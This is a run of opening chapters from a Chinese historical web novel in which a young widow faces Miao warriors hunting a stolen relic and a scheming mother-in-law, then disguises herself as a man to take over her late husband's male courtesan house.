《继承亡夫的南风馆》 1. 升棺 《继承亡夫的南风馆》全本免费阅读 时节入伏,日渐郁热。卯时才刚到,天色已经大亮。 挂满白幡的屋檐下,一只纤细修长的手推开木质窗几其中一扇窗户,让日光照进屋中。屋内人手腕处素质丧衣外罩羽白轻纱,随清晨的微风扫过窗框,随即又落回房中。 季窈睡眼惺忪,带着刚起床的几分厌气将丧服穿好,披散一头青丝在梳妆的台子前坐下,拿起妆奁里的木梳开始梳妆。铜镜中,女娘清丽婉约,如春杏般甜润的面容却是一脸淡漠,她随意将头发挽起,以白色绢丝扎好,最后再将桌上的白色绒花斜插进发髻之中。 瞧着镜中人没什么精神,季窈将目光落在妆奁里那盒只用了一点的胭脂上面。 要用一点吗?或许看着气色会好些。 季窈打开胭脂盖子,无名指指尖轻触桃红色的脂膏,刚准备点在脸上,端着早膳进来的丫鬟赶紧出声制止。 “夫人不可。” “怎么了?” 丫鬟把粥食碗碟放在桌上,凑上前小声道:“守丧期间,夫人不可浓妆擦粉。” 哦,对了,她夫君死了,现在尸首还停在外头呢,想来打扮只能素净些。 跟随赫连尘到龙都生活不过短短三月,这里的诸多规矩,以往还有她那个露水夫君提点,如今他一死,再没人告诉她该如何做。自从赫连尘死后,她还没有习惯一个人入睡,每每在黑暗中醒来,摸着床榻另一侧冰冷的丝被,她总是要隔上许久才能再次进入梦乡。 就在她放下胭脂小盒的同时,门外长廊上急促的脚步声由远及近,一个同样身着白色丧服,身型消瘦的男子快步走到季窈卧房门前,弯起指节如雨点般敲打女娘房门,语气急切。 “嫂嫂,前院出事了,娘亲让我赶紧来叫嫂嫂。” 这声音听着清润,说话人至多也就十七八岁的年纪,季窈听他如此说,原本因为没有睡好而生的厌气此刻又多添一分焦躁,皱着眉头将白色外袍上连着的兜帽戴好,起身朝门口没走几步又好似想起了什么,回身走到梳妆台前将面纱拿起,开门走出来。 门外,赫连羽急得跟热锅上的蚂蚁一般,揣着手在走廊上来回踱步,见季窈出门赶紧迎上来。面前这个小叔与她去世的夫君面容上有八成相像,看着他的脸,季窈有些恍惚。 “何事如此惊慌?” 赫连羽墨眉微蹙,脸上又是惶恐又是懊丧。 “前院突然来了一伙奇装异服的人,开口便嚷嚷着说大哥生前偷了他们的东西,现在找上门,要我们把东西交出来。” 偷东西?她倒没察觉赫连尘是个梁上君子。此刻两兄弟的娘亲应该也在前院,要她一个寡妇上前头去又能起到什么作用? “君姑不在前头吗?” 季窈转身走向长廊,同时拿起面纱将脸遮住,带着赫连羽一路疾行往前头去。 “娘亲正带着管家把他们拦在灵堂外面,嫂嫂快去看看罢。” 若人多势众,她可拦不住。 两人穿过灵堂赶到前院时,赫连尘和赫连羽的娘亲夏大娘子正叉腰红着脸,与府上管家老邓一起带着仅有的两个仆人丫鬟将七八个长胡须壮汉拦在灵堂外,骂人的声音又尖又大,引门外路过之人纷纷驻足。 “哪里来的外族野人?满嘴喷粪!我儿刚死,这口气还没咽下去呢,就平白无故钻出你们这些人妄图污蔑于他,老身今日就是豁出这条命来也绝不会让你们得逞!” 赫连尘死后第三日,夏大娘子和赫连羽收到管家寄去的书信才匆匆赶到龙都,她前几日带着季窈操办丧礼的时候说话都是温声细语,今日嗓门怎么突然大起来,看着倒是个泼辣的性格。 季窈定睛细看,见来人衣着确实古怪。 龙都中人多穿各色丝绸或者棉麻衣衫,此入夏时节都是长衫襦裙,这些人却藏青色头巾包头,从头到脚一身黑衣,细线绑腿,一丝肌肤也不露,腰上、脖子上挂满银制的长链和圆片,随着动作哗啦作响。为首的壮汉被夏大娘子推搡着下了台阶,脸上怒容更甚,干脆将自己腰间的弯刀抽出来对准她,身后众人见首领拔刀,亦抽刀出鞘,利刃声声,听着别提多瘆人。夏大娘子被弯刀一闪而过的银光吓到尖叫,倒在管家身上连连后退,大胡子趁机走上前来,表情凶恶。 “老子是苗疆王手下护卫第一统领尤猛,你个深宅妇人眼拙,认不出来就算了,不与你一般见识。可你儿子三个月前私入苗疆圣山,偷走我们族人世代守护的圣物,此事千真万确有无数族人可以证明,绝非你一句话就可以否认。今日要是不把你儿子从圣山里盗走的宝物交出来,就算他死了老子也要他付出代价!” 说完,他朝身后众人一挥手,带头就准备往灵堂里面冲。 “去,把棺材打开,老子倒要看看这个贼人是真死还是在装死。” 尤猛身后人得令,手持弯刀朝灵堂逼近,夏大娘子站立不稳,颤抖着双手指着尤猛身后的人道:“做什么?你们敢!” 赫连羽虽然害怕,却也知道此刻自己必须挡在前面,于是硬着头皮站到尤猛面前,长大双臂将双方隔开。季窈走上前去将夏大娘子搀扶住,带着她在原地站稳。 见来人一个少年一个女娘,他嗤笑一声,继续迈着步子走上台阶。 “给我上!” 眼看着身后就是赫连尘的灵位贡桌,白色蜡烛的火苗差点就要将自己的衣衫点着,季窈退无可退,正不知道该如何是好的时候,赫连羽余光扫到香案上用于悬挂灵幡的带钩长棍,眼疾手快一把抓过来握在手上,挥舞着朝尤猛冲过去。 “不得辱我大哥尸首!” 赫连羽细胳膊细腿,拿的又是根木棍,苗疆人脸上满是嘲讽,尤猛拿起弯刀抬手轻轻一挥,赫连羽手上木棍瞬间两半。他扑了个空,尤猛再在他身后补上一脚,少年郎一个凌空飞扑出去,摔了个狗吃屎。 “小叔!”见状,季窈苗疆人手上顾不得银光骇人的弯刀,推开众人下了台阶,蹲下身去查看赫连羽的伤势。 “你怎么样,可伤着了?” 尤猛这一脚力气不小,赫连羽狼狈的从地上爬起来,嘴角渗血,手腕处也有不同程度的挫伤。季窈一边扶着赫连羽,一边转过身去瞪着尤猛。 女娘目光锐利,带着愤怒,奈何面纱下隐隐可见年轻姣艳的女儿容貌,饱满丰润的嘴唇因为生气的缘故紧抿一线,怎么也凶狠不起来,尤猛和其他苗疆护卫看她小猫似的故作凶态,都不以为意,耸着肩膀讥笑出声。 “怎么,小叔子打不过,小娘子还想来试试吗?” < 2. 发财 《继承亡夫的南风馆》全本免费阅读 院中,赫连尘灵位前供奉多日的长明灯忽的被一阵疾风吹灭,一缕青烟自下而上,飘散在空中。 乍起的风将季窈脸上面纱吹起一隅,滑落在她脸庞一侧,斜斜地挂在左耳上。看清季窈模样的白衣郎君面色不改,只有眼眸之中似有点点微光闪动。意识到自己的脸暴露在外后,季窈赶紧侧过身去站到一边,趁无人注意到时低头将面纱重新戴好。 寡妇守丧期间,面容不得外露,是夏大娘子要求她如此做的。 听到青衣少年如此嘲讽自己,尤猛一把年纪憋红了老脸,手持弯刀对准门口突然出现的几个男子,恶狠狠道:“老子做什么干你们这些毛头小子何事?还不给我滚!” 青衣少年听完明显有些生气,干脆拔剑又冲了上去,与尤猛打起来。 季窈站在白衣郎君身边,看着他们神色自若的模样,陷入沉思。 这几个人又是从哪里冒出来的? 难道自己那个亡夫也偷了他们的东西?不会都来找她还吧? 真是该死……哦,已经死了。 尤猛武功高强,身量上却远远不及青衣少年轻盈迅速,加上弯刀只可近身攻击,比不上宝剑进退自如,渐渐败下阵来。少年趁势发力,压着尤猛打得他喘不过气。其他人见首领落了下风也纷纷冲上前来,妄图以多欺少。 身着墨色长衫的郎君虽嘴角带笑,这笑意未直达眼底,他见黑衣少年被围攻,收起折扇轻叹一口气,与白衣郎君一起拔出腰间长剑,加入到了缠斗当中。 三人武功了得,配合也极其默契,一攻一守间收放自如,不一会儿就将十来个苗疆人打翻在地,呻/吟声、哀嚎声此起彼伏。 尤猛躺在地上,以手肘撑地,面露不甘,见白衣郎君背对着自己正整理衣冠,也顾不得什么君子、小人之举,抄起地上掉落的弯刀冲上去打算偷袭,此举正好被站在一旁收剑入鞘的青衣少年看见,他冲着白衣郎君大喊一声。 “杜仲小心!” 被唤杜仲的郎君斜眼回头,一个后仰躲过,手掌发力一掌打在尤猛的后背上,后者吐出一口鲜血后扑在地上,青衣郎君满脸鄙夷,接过杜仲手上的剑又在尤猛后背上划了几刀。 “啊啊啊啊!” 划伤不足以致命,一刀刀割在背上却剧痛难忍,青衣郎君越听尤猛哀嚎下手越重,画画似的在他背上割了一刀又一刀。 “叫什么叫,玩偷袭不嫌丢人啊……还叫!” 方才还剑拔弩张,要生要死的场面突然就变成了这样,季窈在一旁看着,不知道该不该笑。 “南星,还不住手。”墨染长衫的郎君语带责备,听上去却十分温柔,他走过来将青衣少年手中的剑夺走还给杜仲,随即转过身来,上前几步走到夏大娘子和赫连羽面前,双手抱拳行礼。 “在下京墨,与身后两位都是与赫连大兄相识的朋友,此番听闻噩耗,前来府上拜祭。” 接着他转过身,向夏大娘子逐一介绍身后的少年。 “这是杜仲,南星。” 两人被点到名字,皆是收敛神色,拱手略低头行礼,季窈戴好面纱回到夏大娘子身边回礼,抬头时目光与杜仲相遇,都没有说话。 夏大娘子哽咽着说了一番道谢的话,几人又一起将被掀开的棺材板盖回去,整理好灵堂,重新点燃长明灯。 随着三人拜祭结束,身上受伤程度不同的苗疆人一瘸一拐地从地上站起来,尤猛站到最前面,捂着伤口仍不罢休。 “赫连尘偷盗苗疆圣物是不争的事实,你们此举就是在与苗疆王公然做对!” 京墨又摇晃起了手上的折扇,面带微笑走到尤猛面前,温声道:“此地乃是神域境内,归神域皇族管辖,非是你苗疆王族人可以为所欲为之地,你若有冤屈,尽可告知衙门由当地知府派人来查,也正好替你们王族伸冤。反倒是今日你带人私闯他人府宅,开棺毁尸,大逆不道,视龙都王法于无物,若是赫连兄的寡嫂与大娘子一起将你们状告,到了官府,你们苗疆人的特权到了龙都,怕是起不了什么作用。” 他这番话说得轻松,却也十分在理。神域与苗疆自五十年前大战一场后一直处于剑拔弩张的紧张局势之中,边陲战乱时有发生,直至近几年,神域新帝南宫凛登基,苗疆王位也由更为年轻的楼元应继承之后,两国之间的纷争才稍稍平息,龙都作为神域最大的城池,虽然不是京都,论繁华商贸却更胜一筹,是这几年与苗疆人有交易往来最多的都城。 此神域地界,苗疆人能凭通关文牒进出已是最大的宽限,若真扯上官府,在衙门那边留了底,尤猛等人往后行动必定诸多限制。 他自知方才冲动,着实不该与他们动手,更何况现在软的硬的都赢不了,只能挥挥手让部下都收好兵器,朝夏大娘子和季窈抱拳道:“方才多有得罪,还请见谅。但赫连尘生前偷盗的苗疆圣物想必此刻还在府内,若你们赫连家问心无愧,不妨让我带人将整座府邸搜寻一遍,将宝物找回,于你于我,今后都不用再生瓜葛。” 搜府?凭什么? 季窈刚想开口拒绝,方才一直阴阳怪气的南星此刻又先站了出来。他轻笑一声,斜眼看了看尤猛浑身的灰尘和血渍,俊美的脸上满是不屑。 “你是年纪大了耳朵不好使吗?搜查府邸是连官府都不能随意做的事,凭什么你一句话就能随便搜我师父的宅子?你比官府还大吗?” 师父?自己的夫君是他师父? 季窈莫名多出来这么个徒弟,忍不住又侧目看了南星一眼。 三人之中,他看上去年纪最小,眉眼细长,皮肤白皙,青色的长衫配上玉质头冠,潋滟不可方物,宛若穿梭在森林里还未长角的小鹿。 就算是他此刻讽刺尤猛的模样,看上去也不过是在撒娇赌气而已。 他帮自己先出了气,季窈心里开始庆幸赫连尘收了这个徒弟。转头看见京墨也准备出声的瞬间,身边杜仲一个眼神递来,他会意点头,拉扯南星的袖子朝尤猛笑道:“我明白,这位头领也是任务在身,各人立场不同,如今你已经让步,我们也不好再说什么。” 说罢,他又转身,朝季窈拱手道:“嫂嫂,家中财物收纳你最是清楚,如今大家各自让步,不如就让他们搜上一搜,只要赫连兄问心无愧,此番也好做个了结,免得他们以后再来骚扰你们,如何?” 这一声嫂嫂喊得亲热,全然不似两人才第一次见面。 一瞬间所有人的目光都落在季窈身上,她看着京墨背后的杜仲眼神凿凿,知道这也是他们眼神传递之后的决定。季窈侧目与夏大娘子、赫连羽对视几眼,知道如果此事今日没个了结,之后怕 3. 死老公! 《继承亡夫的南风馆》全本免费阅读 什么?要把她赶出去? 季窈登时从睡梦中完全惊醒,悄悄下床走到窗边,蹲在窗下想听得更仔细些。 “嘘,嚷嚷什么,小声些。”窗外,夏大娘子的声音无比清晰。 赫连羽显然是被这句话吓到,言语间有些颤抖。 “为何要将嫂嫂赶走?她与大哥的死毫无干系啊。” 她凑到赫连羽面前,蹙眉道:“自然不是现在就要赶走她。你之前不也瞧见你大哥寄回家中的那封信?上面写得清清楚楚,三个月前尘儿在苗疆找到了绝世珍宝,肯定是因为带宝贝回来的路上被盯上才惨遭不测的。你嫂嫂现在装疯卖傻,不知道把宝贝藏到哪里去了,今天竟然连那些苗疆人都没有找出来,真是藏得太深。等咱们找到你大哥留下的宝贝,再把这个来历不明的女人扫地出门也不迟。” 夏大娘子一言一语尽是算计与谋划,听得季窈冷汗阵阵。 她没想到这几日来一直对她嘘寒问暖的君姑私下竟做了如此恶毒的打算,还好自己对赫连尘偷盗和私藏什么宝物一事全然不知情,否则此刻被她哄得晕头转向将宝贝交了出来,还不早就叫她偷偷杀了也说不准? 赫连羽心思单纯,想了想还是劝慰道:“那也不至于将嫂嫂赶出去……她在龙都举目无亲的……” “你懂什么?那女人长得妖娆媚气,一天天没精打采的,看着就不是什么正经大户人家养出来的娘子,这才跟了你大哥三个月他就死了,指不定就是那个女人克夫。若是还把她留在咱们赫连家,以后再妨碍到你可怎么好?我们赫连家没有完成老祖宗交代下来的宏图伟业,你大哥就这么去了,我们就只能指望你扛起振兴赫连家氏族命运的重担!所以你一定不能有事!” 这一番话给季窈听笑了。 夏大娘子和赫连羽正说着,一旁窗户突然“啪”的打开,狠狠拍在夏大娘子面门,妇人额头顿时红了一片。 季窈双臂撑在窗沿,语气轻蔑。 “宏图伟业、振兴家族?君姑晚上没睡醒,白日做梦呢?前夫挣那仨瓜俩枣,养活我一个尚且不足。君姑不是说我整天没精打采?还不是吃不起饭,给我饿的。家里连多一个使唤丫头都买不起,你还指望你那个好大儿如何振兴家族?靠偷还是靠抢啊?” 夏大娘子捂着额头哎哟连天,听她如此直白,急得脸色发白。 “你胡说!尘儿的钱定是被你这个妖妇藏起来了,还在这里哭穷!” “呵,”季窈离开窗边,慢慢悠悠从门口走出来站到妇人面前,看着夏大娘子越是疾言厉色,她就越是淡然,“再说克夫,我在路边晕得好好的,是你儿子非要把我捡走带回来,这府上要什么没什么,我不过是看他照顾我还算上心才答应嫁给他,与其说我克夫,你还不如早告诫他,命不够硬就不要娶媳妇,没来由地耽误了别人。” “你这个毒妇,我、我……哎哟……” 夏大娘子站立不稳,眼看着就要倒下去,赫连羽急忙凑上前去搀扶住她,一边回头看着季窈,眼神复杂。 “娘,嫂嫂,你们别争了,都消消气罢。” 看夏大娘子不再开口,脸色也越来越差,赫连羽叹一口气,扶着她往自己房间走去,季窈双手抱胸目送两人离开后,也觉得没趣儿,翻个白眼又回到房中。 坐在床边,她越想越不对劲,既然赫连尘写回家的家书中都有提及自己确实得了一笔财宝,为何那帮苗疆人在宅子里翻了个底朝天都没有找到?难道他没把钱银放在家中,竟是背着她藏在了别处? 短短三个月,她因为身体的原因大多时间都待在宅子里,甚少关心赫连尘每日出门在外都去了何处,忙些什么,现在突然回想起来,她竟对自己夫君的底细一无所知。 余光扫过床榻一侧的衣柜,季窈干脆起身,开始在房中翻找起来。 衣裳、鞋袜、书籍、字画,都没什么发现……等等,这是什么? 季窈在抽屉里翻找出一个四方香包形状的挂坠,凑近闻来,穗子上散发淡淡檀香气,倒与赫连尘偶尔从外面回来的时候身上所带气味相似。季窈干脆把剩下几个抽屉全部打开,从杂乱堆放的纸页笔墨中又翻找出几个一样的挂坠来,仔细一数,竟有七八个之多。 带着疑惑,她取下绳结将香包打开,里面除几片干花香草外,还有一个三角黄色的平安符,拆开铺平了看,符纸的背后用轻盈飘逸的字迹写着“菩然寺”。 还真是寺庙。她那亡夫还有经常到寺庙祭拜的习惯?莫不是做了什么亏心事,去捐功德求佛祖宽恕吧? 反正现在受了闲气,她也睡不着了,听着前头灵堂里和尚念经的声音心里烦闷,季窈干脆将香包揣进怀里,在丧服外披上黑色披风,从后厨的小门走了出去。 她倒要看看,这个菩然寺里面有什么好东西值得她那个亡夫一去再去。 出了深巷,拐过街角,龙都熙来攘往的街头人头攒动,内城三百坊市,铺舍通宵达旦,外围两千屋舍居民成千,万家烟火。 季窈将面容隐藏在黑色斗篷的兜帽之下,几番打听,又狠下心来花银子雇了一辆马车,才在日落西山之前到了所谓的菩然寺。此时庙里香客已经走得差不多,季窈叫住一个洒扫的小和尚,询问后方得知赫连尘确实经常会到寺庙之中捐一些香油钱,此四方香包便是作为答谢之物赠予。 “赫连施主风尘仆仆,每次来都未多做停留,据他说言,不过是恰好路过。” 一次路过说得过去,次次都是路过,看来他必定经常来。 “那他可有说,是去了哪里过来的?” 小和尚摇头,看清兜帽下季窈的面容后,倏忽红了脸,轻轻扯回女娘手上攥着自己的衣袖,作揖说了句“阿弥陀佛”匆匆跑开。 女娘失落的走出菩然寺,抬眼看去,寺庙背后一轮红日高悬,将朱红色的院墙染得鲜红胜血,她看着院墙内一枝桃花伸出墙外,枝上花朵开得正艳,双眸忽然微微眯缝起来。 这个场景怎么如此眼熟,倒好似在何处见过一般?但这确实是她第一次踏足菩然寺。 对了!她想起书房正中一面墙上的字画,其中一幅便是以半山景色为主的山水图,画面右下角一座寺庙斜立其中,朱红色院墙里一枝桃花枝子探出墙外,与 4. 南风馆 《继承亡夫的南风馆》全本免费阅读 车水马龙的龙都南城内,坐落着整个龙都最大的一条集市街:簋街。 季窈一身利落男子打扮,戴幞头帽,看上去十七八岁的小白脸一样。她在簋街正当中店肆林立最密集的一个路口停下脚步,看着街对面一栋三层高的豪华酒楼,沉默不语。 说是酒楼,却又不及两旁酒馆、茶楼那么热闹,偶有一两人进出,要么是面容清秀的秀气郎君,要么是结伴而行的年轻小娘子,大家都轻声细语,举止有礼。但要说是茶肆,装修陈设又未免俗气了些。 一楼正门口牌匾上“南风馆”白底墨漆三个笔法飘逸的大字,引行人来往无不加以瞩目。 想起方才自己在路上随意抓着一个大娘,询问她“可知南风馆在何处”时,大娘脸上肉眼可见的鄙视,让季窈心里有些犯怵。 这到底是个什么地方?酒楼不像酒楼,茶馆不像茶馆。 摸了摸怀里的东西,她稳住心神,穿过对街,怀着忐忑的心情迈步进了南风馆。 此刻午时刚过,按理说吃饭的食客应该还很多,一楼大堂人却稀疏,几个看着年岁尚幼的郎君还在擦拭空桌上的筷盅,给走廊两侧的盆栽浇水。 一个着明黄色长袍,模样精致的郎君见有人进门,立刻迎上前来。走近瞧季窈一身男子装扮,看着年岁也不大的样子,收起笑盈盈的模样,轻声道:“我们这里不接待男子,小公子还是另寻别处吧。” 不接待男人?为何? 季窈轻咳一声,看着面前花枝招展,明艳动人的少年,有些不敢开口。 “咳,那个……我是来找人的。” 一听她是来找人,明艳郎君反而轻笑一声,司空见惯一般随意整理起自己的衣发来,开口答道:“我们这里不能留宿,女客们到打烊的时辰都是离开了的。小公子若是要来寻你的相好,怕是要扑空了。” “不是的,我是来找……”季窈拼命回想那日见过的几人名字,“……京墨,或者杜仲,他们在吗?” “京墨?自然在的。” 明艳郎君讪笑不已,转过身去朝楼上喊道:“京墨,又一个来找你算账的上门来了,还不下来看看。” 算账?他是不是误会什么了? 季窈揣着怀里的东西,故作轻松的站在原地。 举目四望,一楼大堂十分宽敞,客设四方木桌八张,正中一个圆台看上去是供食客吃饭的同时欣赏表演,直达二楼的楼梯口两侧各是四间雅舍,挂有半透明的薄纱珠帘,低头可以欣赏到歌舞的同时私密性也很好,再往上的三楼看不出是什么地方,只有走廊边并排放着的兰花和芍药散发阵阵清香。 还挺雅致。 等待的间隙,三楼一间房门突然打开,京墨仍是带着季窈第一次见他时脸上仿若天生的淡笑,轻踱缓步走到女娘面前。 看见季窈的第一眼,京墨眼中似有微光闪动,他再走近些,发现一身男装的季窈个头只刚好到他鼻尖。 “小公子看着脸生,不知找我何事?” 他没有认出她来,幸好。 季窈从怀中掏出一叠字据,将其中一张竖立到京墨面前,等着看他的反应。 字据上的字因为久放的缘故有些模糊,仍是一眼就被京墨认出来,他略微挑眉,复将目光移回面前这个看上去不过十七八岁的白面少年。 虽然面容上看似淡定,京墨却瞧见她另一只手紧紧攥住裤腿的一侧衣料,不住地来回揉搓。 “请随我来。” ** 二楼雅舍中,季窈背对着门口坐在茶桌边,对面是前几日,到她亡夫灵堂前祭拜过的那三个郎君。方才下楼迎接她的京墨,坐在他身侧一脸漠然的杜仲,打着哈欠,像是午睡刚醒的南星。最后,走廊里又走进来一个身着黑衣,靠着南星坐下的沉默少年。听方才京墨唤他,应该叫蝉衣。 专门在大堂迎门接客的明艳郎君端着五杯茶水走进来,略躬身将茶水一一送至五人面前后,转身退出去。 茶桌上除了茶盅,还放着那叠季窈从菩然寺后门地窖里拿出来的卖身契和地契,为首的三张刚好是除杜仲以外其他三人的卖身契。 看见自己的卖身契就这么大剌剌地放在桌上,南星面露不悦,敲敲茶桌开口道:“你说师父把我们和这座馆舍卖给你了,有何凭据?” “桌上这些卖身契还不算凭据吗?” 京墨低头喝一口茶,茉莉的清香四散在空气中,仿佛这只是个寻常的茶话闲谈。他从茶汤飘出的热气中抬头,弯弯的笑眼里却满是冷漠。 “赫连大兄死得突然,这些字据地契当初他放在何处无人知晓,小公子若是从他府宅之中将之偷盗出来,我们也无法验证其来历,若真如你所说,是他生前与你交易所得,那这些字据里应该还有一张你与他签订的交易收据才对。不知我如此说,小公子可听得明白?” 经他这么一说,季窈方想起这一点来:对啊,空口无凭,若真要说是赫连尘把这些东西卖给自己,还应该再写一张字据才对。 她学着京墨的动作将盖碗茶盅端起,捻起茶盖略将茶汤中的茶叶推到一边,低头抿一口茶水后,终于有了主意,踟蹰开口道:“是,不过那张收据夹杂在这一堆字据里,不知何时被我弄丢了,我记得当初赫连兄与我达成协议时,他的夫人也在场,如今他已身故,想必这些财产也该有他的遗孀继承,我改日到她府上,请求她再写一封字据来与你们,可作数?” 遗孀继承家产天经地义,如果她写一封亲笔字据交过来,自然作数。 南星被这话堵住,不知道该如何再刁难她,为难地看向京墨和杜仲。见他二人仍是一脸高深莫测,带着审视的目光看着季窈,南星有些着急,一拳敲在茶桌上,将五人茶盅里的茶汤都溅洒出来。 “你才几岁,毛还没长齐就想来我们这儿做掌柜?你可知道这南风馆是做什么的地方?” 他一着急,季窈反而淡定下来。 “龙都里也没有光头不能做掌柜的规矩啊,我今年二十了,既不想做官也不想经商,就想买个酒楼赚点钱,娶一个漂亮夫人度过下半辈子,不可以吗?” 南星闻言,从上到下打量着季窈,表情轻蔑。 “呵,真看不出来,你居然还比我大一岁,个头这么矮……小时候没少挨饿吧,怎么还能拿出这么多钱来把我们买下来?说,是不是从我师父那里骗来的,我今天非要把你送到官府去不可。” 京墨抬手示意他住口,笑眼终于收敛起来,面色严肃正经。 “看来小公子是误会了,这座南风馆并不是寻常酒楼,而是一座只接待女客的雅舍酒肆……”看季窈一脸疑惑,他面容讪讪,竟少有的有些赧颜,“小公子若是还听不懂, 5. 刁难 《继承亡夫的南风馆》全本免费阅读 午时过后,南风馆内逐渐热闹起来。 从前几日的记忆里回过神,听杜仲开口叫住她,季窈有些慌张。 这是自那日苗疆人到赫连府宅中闹事之后,季窈第二次与杜仲见面,却是第一次听见他说话。 杜仲的声音温吞疏朗,带着少年郎独有的清润声线,语调却冷漠无情,听者如坠三尺冰潭。他一个眼神递来,坐在他身边的三人立刻会意,起身走出雅舍,只留他与季窈二人独坐房中。 看着杜仲冷漠的表情,季窈吃不准他是否还记得那日在府宅前院,她倒在他面前掉落面纱时候的模样。 那日自己稍化眉黛,与今日素面朝天的男装模样看着应该还是有区别的,沉默之际她口干舌燥,端起茶盅才看见杯子里只剩下茶叶渣子,只好又悻悻然放下茶碗,坐在原地不敢动弹。 “杜……杜兄还有何事交代?” 杜仲端坐在她对面,看着她慌张的模样,眼中闪过一丝无奈,沉声开口道:“你真打算做我们的掌柜?” 这话问的。 “自……自然。我虽然没有开过酒楼,但好在年轻好学,我学东西很快的,一定、一定没问题。” 家里有个觊觎她前夫留下巨额财富,欲夺财而将她扫地出门的恶毒婆婆,城外那些苗疆人没有得手,想必此刻也潜伏在这硕大的龙都城中,等着将她抓去问个究竟。 季窈想要带着这些财宝平安活下去,只能换个身份,躲进这些武功高强的人之中,寻求庇佑。 虽然现在在她面前还有诸多疑惑没有解开,关于赫连尘的生平,关于苗疆人要找的圣物究竟是什么,关于这座南风馆里四个容色俊美,一看就不是寻常郎君到底都有着什么秘密,但现下,她只能走一步看一步。 听她说要学,杜仲嗤笑一声。 “学?学什么?” “学算账啊,采买食材,置办衣裳,你们有什么想买的想要的,尽管开口,新官上任,我必不会亏待你们。” 这个回答似乎并不能让杜仲满意,他站起身,朝季窈一点点逼近。 “你以为光学这些就够了?南风馆里,接待的都是女客,你若是不知道如何讨女人欢心,哄的她们高兴,这馆里的生意怎么会好?再者馆内住着的都是男子,眼看入夏,大家衣衫薄透,行为处事之间难免会有所接触,隐私秘密皆不存在,你也能接受?” 女娘迫于他高大的身影如一片巨大的黑影一样缓缓将自己笼罩,不自觉起身一点点往后退。 最后,季窈退到墙角,背靠在墙上,被迫仰起头看着靠过来的杜仲。他与京墨一般高,季窈仰头也只到他耳垂,郎君居高临下的看着面前娇小的身影,眸色如墨一般深不见底。 “嫂嫂,这可不是你该来的地方。” 此言一出,季窈登时瞪大双眸,不可置信地看着他。 他、他唤自己什么?嫂嫂? 他果然还是认出自己来了。 季窈后背被冷汗沁湿,被杜仲堵在墙角,一瞬间连呼吸都有些不畅,她强忍住慌张,干脆摊牌。 “该不该来,我都必须要来。” “呵。”杜仲见她不装了,说话也算爽快,直起身子退后一步,看向她的眼神锐利明朗。 “嫂嫂怎么不演了?” “杜兄既然已经识破我的身份,那我就明告诉杜兄。我嫁到赫连府不过短短三月,家中君姑对我诸多提防,欲将我扫地出门;苗疆人没能找到亡夫偷走的财宝,必定不会轻易放过赫连府中人。我在这龙都举目无亲,无依无靠,唯有亡夫留下的这座南风馆可以容我暂避,所以不管这里有多少男子,有多少困难,我都只能选择留在这里,还望杜兄成全,不要将我的身份告诉馆内其他人。” 她话语诚恳又实在,杜仲反倒露出一丝欣赏,他垂目重新在茶桌边坐下,手指在茶盅边缘摩挲,目光淡然。 “帮你,对我有什么好处?” 这就开始谈条件了吗? 季窈走近一步,试探开口道:“只要杜兄答应帮我,待我站稳脚跟,你的卖身契我可以还你。” 没想到杜仲听见这话,低头嗤笑几声,仿佛识破了她的小聪明一般,嘴角扬起。 “我与赫连兄之间并没有签什么卖身契,嫂嫂这般撒谎,也是求人的态度吗?” 这……季窈当初没有在地窖那叠字据里找到杜仲的卖身契,尚存一丝侥幸心理以为是收拣起来的时候弄丢了也未可知,今日试探之下,才知道原来赫连尘当真没有与杜仲签订契约。 那他到底是什么身份?为何甘愿留在馆里以取悦女客们为生存手段,做一个男倌? 杜仲无视面前女娘的窘迫,目光似箭如刀,让季窈生出一种无所遁形的羞耻感。 “不光如此,嫂嫂,你怎么会连基本的常识都没有?那些卖身契上所写的名字全是草药名,杜仲、南星、京墨、蝉衣,没有一个是真名,你拿着这叠草药的卖身契来威胁我们,也不怕别人笑话?” 他咄咄逼人,完全不顾季窈的脸色越来越差,女娘姣美的面容红一阵白一阵,急得她眼泪在眼眶中不停打转。 既然他没打算做好人,季窈也不打算留情面。她走到杜仲对面的茶桌旁坐下来,与他对视。女娘眼含热泪,面带愤怒的模样在杜仲看来却无论如何也凶不起来。 “那日苗疆人提出搜宅子,京墨原本打算出言维护,你却眼神示意他不要干涉的举动我都看见了,我知道你也想找到被亡夫藏起来的苗疆圣物,此刻也不必再装什么好人,那我们便做个交易。” “什么交易?” “我帮你找到苗疆圣物,你让我留在南风馆。” 她如此直接将自己那日与京墨的小动作说破,杜仲眼中精光闪过。 她倒比他想象中的聪明一些。 “嫂嫂当真不知道苗疆圣物在哪里?” 季窈说了太多话,此刻口渴得厉害,见桌上蝉衣的茶盅他自始至终都没有动过,也顾不上什么礼义廉耻,端过蝉衣的茶盅咕嘟咕嘟喝个痛快,叹一口气道:“如果苗疆圣物不是金银珠宝,也不是翡翠、夜明珠,更不是什么木头箱子、钱庄银票,那我就真的不知道那东西是什么、在哪里。” 听季窈一股脑将地窖里所有的金银财宝细数出来,杜仲反而没什么反应,好像早就知道赫连尘往日私藏了这么多财宝一般,淡然收回目光,喝着茶盅里已经冷掉的茶汤。 “若你无法服众,引起馆内其他人的不满,到时候就算是我想帮你,也爱莫能助。” 他这么说,就算是答应了? 季窈 6. 同居 《继承亡夫的南风馆》全本免费阅读 又是一个艳阳天。 自入夏之后,龙都里的气温一日高过一日,不少大户人家已经开始将冬日藏冰一点点搬出来,研磨碎冰制成饮品,再富有一些的氏族家夫人房中,已经有了冰盆转扇用以乘凉。 季窈背着自己的小包袱,仍是那身素简的男子打扮,确认怀里的字据万无一失后,心情颇好地走进南风馆大门。 距离上次到访已有七日之久,南星见她走进来,原本还懒散闲适的表情立刻警惕起来。 “哟,我还以为你知难而退了,怎么就如此不识趣呢?” 他丝毫没有察觉季窈的女娘身份,只当他是个毛头小子,走过来直接伸手用力捏了捏她的脸蛋。 “疼疼疼。” “南星,不得胡闹。” 京墨从二楼下来,看她背着包袱,知道她已经准备好了他要的字据。 “季公子这回是有备而来。” 几人上到二楼,仍旧进了之前那间雅舍,季窈从包袱里拿出她自己写的字据,上面盖着自己和赫连尘的章,表明有赫连尘的遗孀作证,她那亡夫已经将南风馆并里面所有人都一并卖给了面前这个叫“季耀”的少年郎。 京墨好像早就知道了一般,并没有像上次一样将字据看多仔细,他面带微笑,起身缓缓道:“既然如此,季公子以后就是南风馆的掌柜了,这就跟我一起去到你的卧房看看如何?” 就这么简单吗? 季窈抱着包袱站起来,欣欣然点头,跟着京墨走出去。 